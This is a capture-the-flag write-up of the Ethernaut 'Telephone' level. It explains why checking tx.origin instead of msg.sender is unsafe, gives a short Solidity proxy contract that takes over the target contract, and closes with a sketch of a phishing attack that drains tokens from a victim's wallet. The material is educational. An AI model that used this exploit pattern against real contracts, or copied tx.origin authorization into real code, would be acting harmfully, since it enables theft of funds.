> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/telephone.md).

# Telephone

tx.origin

## Description

Claim ownership of the contract below to complete this level.

Things that might help:

* See the Help page above, section "Beyond the console"

## Background Knowledge

### `tx.origin`

`tx.origin` is like `msg.sender`, but it is vulnerable.

* `tx.origin`:
  * the original user wallet that initiated the transaction
  * the origin address of potentially an entire chain of transactions and calls
  * only user wallet addresses can be the `tx.origin`, not contract address
* `msg.sender`:
  * both user wallets and smart contracts can be the `msg.sender`
  * checks where the external function call directly came from

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```

To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.

## Solution

Write a "proxy" contract in Remix IDE:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './Telephone.sol';

contract TelephoneAttack {

    Telephone telephone;

    constructor(address _address) public {
        telephone = Telephone(_address);
    }

    function changeOwner(address _address) public {
        telephone.changeOwner(_address);
    }
}
```

When we call `changeOwner()` from the `TelephoneAttack` contract, `tx.origin` is our Metamask wallet address. When `telephone.changeOwner(_address)` is triggered, `msg.sender` is address of the `TelephoneAttack` contract. This satisfies the `if (tx.origin != msg.sender)` check and thus `owner` will be updated to the `_owner` argument we passed into the `changeOwner()` function call.

Deploy it and feed in the original contract address:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fp77agedRtwq8s5GXsOoQ%2FTelephoneHack%20deploy.png?alt=media&amp;token=58e5ea43-4bde-4e0a-a73f-254f9f61f37f" alt=""><figcaption><p>TelephoneHack deploy</p></figcaption></figure>

Feed in your Metamask wallet address and click "changeOwner":

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2F9zSLBpdJEQTqBWaLDoSL%2FTelephoneAttack%20changeOwner.png?alt=media&amp;token=5a3dbb12-5fe0-48e4-b4cb-794ff86c86c1" alt=""><figcaption><p>TelephoneAttack changeOwner</p></figcaption></figure>

Click "Submit instance" and move on to the next level.

## Summary

While this example may be simple, confusing `tx.origin` with `msg.sender` can lead to phishing-style attacks, such as [this](https://blog.ethereum.org/2016/06/24/security-alert-smart-contract-wallets-created-in-frontier-are-vulnerable-to-phishing-attacks/).

An example of a possible attack is outlined below.

* Use `tx.origin` to determine whose tokens to transfer, e.g.

```solidity
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
```

* Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

```solidity
function () payable {
  token.transfer(attackerAddress, 10000);
}
```

* In this scenario, `tx.origin` will be the victim's address (while `msg.sender` will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.